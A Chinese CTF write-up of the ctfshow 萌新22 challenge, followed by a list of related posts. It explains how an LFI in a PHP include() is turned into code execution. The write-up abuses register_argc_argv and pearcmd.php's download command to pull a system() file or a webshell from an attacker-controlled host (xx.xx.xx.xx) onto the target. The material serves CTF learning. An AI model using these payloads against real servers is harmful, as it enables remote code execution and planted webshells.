在之前ctfshow平台的萌新22,大家都认为是无解的,题目也介绍了"还能搞,阿呆表示将直播倒立放水"。但是在级客巅峰结束的那天晚上,群里的师傅介绍说,如果修改了php.ini里面的配置(register_argc_argv)可以做出来。最后是真的做出来了。
使用阿呆~~~?

下面是自己的思考,感谢Guoke师傅和ha1c9on师傅的帮助

一. 源代码

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\:|\/|\\\/i",$c)){include($c.".php");}
}else{highlight_file(__FILE__);
}
?>

二. register_argc_argv的介绍

通过可变信息通过GET方法是类似于参数传递给可执行文件。许多语言处理等方面argc和argv参数。 argc是参数计数,并,argv是索引数组,包含的参数。如果您想声明变量$argc$argv和模仿这种功能,使register_argc_argv。
$argc变量是⽤于记录数组的⼤⼩
$argv变量是⽤于记录输⼊的参数。
这里借p神的介绍
经过简单测试,发现⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、
7.3.4)默认为 Off
奇淫技巧
这个是自己看p神的知识星球知道的。
我们是可以通过$_GET或者$_POST的⽅式来操控
$_SERVER['argv']的值的,但是如果测试可以发现,如果直接传⼊值,⽆论多少个参数,$argc
个数始终是 1

#测试代码
<?php
error_reporting(0);
$a=$_SERVER['argv'];
var_dump($a);
?>

而我们可以通过+来进行分隔符。
(这里不解释,需要知道的可以去p神的知识星球了解)

拓展:这个小trick,自己前几天出个一个题,如果有兴趣的可以去ctfshow平台的web入门126去试一试。

三. PEAR的介绍

如何熟悉PEAR的使用?
在linux下面安装直接输入命令apt install php-pear

四. 解题

参考链接
这个题只需要利用文章里面的第一个方法:
下载一个档案文件(php文件)并使用lfi
而这个下载的命令是pearcmd.php里面有的
在pearcmd.php目录下面输入php pearcmd.php -help


而正好,这个题开启了register_argc_argv可以通过+来分隔命令,先进行包含pearcmd.php然后在通过+分隔符来执行download命令

方法一

这个方法是Guoke师傅告诉我的,可以在我们的vps上面创建一个eval.php里面内容是

<?php
echo "<?php system(whoami);?>";
?>

然后在题目上传值
?c=pearcmd&+download+http:/xx.xx.xx.xx/eval.php
最后访问eval.php就执行成功

方法二

是ha1c9on师傅告诉我的,可以在~目录下创建一个shell.php 内容就是一句话木马.
然后通过python3开一个http服务 python3 -m http.server 81
访问的时候就是~目录下面的文件
当我们控制目标服务器去访问eval.php的时候会自动下载到目标的服务器上面

payload:?c=pearcmd&+download+http://xx.xx.xx.xx:81/shell.php

然后访问并执行命令
获得flag

总结:

方法一:
实现的原因是下载的过程会执行php代码。这里自己测试了一下如果,利用方法一,文件内容是
<?php system(whoami)?>,然后访问这个文件会输出www-data。但是文件内容也是www-data。所以就验证了我的解释。
方法二:
实现的原因是我们通过python3开一个服务,而php文件的路径不在网站根目录下面就不会当php解析就会自动下载。

如果,文章也不足的地方希望师傅们指出。共同进步。

ctfshow 萌新22 (类似级客巅峰web4)相关推荐

  1. ctfshow萌新计划web22

    ctfshow萌新计划web22 前言 正文 web22 前言 上次做题,直接瞄准ctfshow萌新计划开炮,结果没打完,这次来补充一下. 正文 web22 打开题目,发现了源码 <?php i ...

  2. CTFSHOW 萌新赛 萌新记忆

    CTFSHOW 萌新赛 萌新记忆 吐槽一下我感觉萌新这个词在侮辱我,我还搞了半天 进去之后查看源代码,把能点的地方都点一下发现没有什么可以搞的,就打开了御剑来扫描了一波,发现了admin目录进去要让我 ...

  3. ctfshow萌新红包题writeup

    ctfshow萌新专属红包题writeup 题目来源:https://ctf.show/ 这一题是ctfshow平台上面2月17日更新的一个萌新红包题,当天在官方交流群内知道晚上会有一个萌新红包题之后 ...

  4. ctfshow 萌新计划 writeup1-8

    ctfshow 萌新计划 writeup1-8 web1 题目:代码很安全,没有漏洞. 网页代码如下 <html> <head><title>ctf.show萌新计 ...

  5. ctfshow 萌新web10-21

    ctfshow 萌新web10-21 web10 题目提示flag在congfig.php中 php中作为执行系统命令的函数: system() passthru() exec() shell_exe ...

  6. ctfshow 萌新赛 给她

    初识: 一开始看到这个题目以为是sql注入,尝试了各种sql注入转义次都注入不了 .git泄露:最后还是看了一下大佬的解题,发现方向就错了,"给她"--"git" ...

  7. ctfshow萌新赛web

    文章目录 萌新赛web_萌新记忆 萌新赛web_假赛生 萌新赛web_给她 萌新赛web_萌新记忆 这道题是看了大佬的题解才做出来的,扫描可以得到admin目录 这里需要有几个过滤需要绕过 or被过滤 ...

  8. ctfshow 萌新入门1

    萌新_密码1 题目: 密文: 53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F474 ...

  9. CTFSHOW 萌新赛

    给她 听名字是git泄露,但是不知道是不是我的字典有问题,没有扫出来有用的信息. 结果只能翻别人的wp了,得知了hint.php <?php $pass=sprintf("and pa ...

最新文章

  1. 修改withdraw 方法
  2. IC卡读卡器web开发,支持IE,Chrome,Firefox,Safari,Opera等主流浏览 器
  3. Tweaked Identical Binary Trees - Medium
  4. 兼容IE8,滚动加载下一页
  5. BZOJ1208[HNOI2004]宠物收养场——treap
  6. 常见HTTP状态码列表
  7. python描述器深度解析
  8. @FeignClient 接口调用
  9. 2013_nanjing_online
  10. oracle左连接没用_一周零基础学完Oracle数据库第三天02
  11. java连接hbase时出现....is accessible from more than one module:
  12. Error: Loading chunk * failed,Vue Router懒加载报错问题解决方案
  13. Java 线程详解(一)线程的基础
  14. 如何进行自动化PDF测试?这里有真正简单明了的方法
  15. 从输入URL到页面渲染完成 -戈多编程
  16. 一加6屏幕测试代码_一加 7的普通版与Pro/参数对比
  17. 在CLR中自动本地化正在运行的.NET窗口
  18. 函数的参数,参数为数组
  19. 论文3 VScodetexliveSumatraPDF打造完美书写论文工具
  20. 功率放大器的性能指标

热门文章

  1. python opencv 拍照_在jupyter noteb中使用opencv显示网络摄像头中的图像
  2. 导图解文 从梦想到财富(39)正确的创业方向,都落在3个必然趋势中
  3. 《小王子》精彩章节——Chapter 21
  4. 程序员成长系列--应该读的通用技术书籍列表
  5. win7 打开防火墙端口
  6. UITableView reload刷新闪动问题
  7. fooview辅助功能 shell_Fooview:一款功能超多的桌面悬浮球,帮你摆脱多余操作
  8. 联想拯救者Y7000P键盘失灵
  9. 猫狗肠道菌群—“主子们”的健康新领域
  10. 高通开发系列 - linux kernel更新msm-3.18升至msm-4.9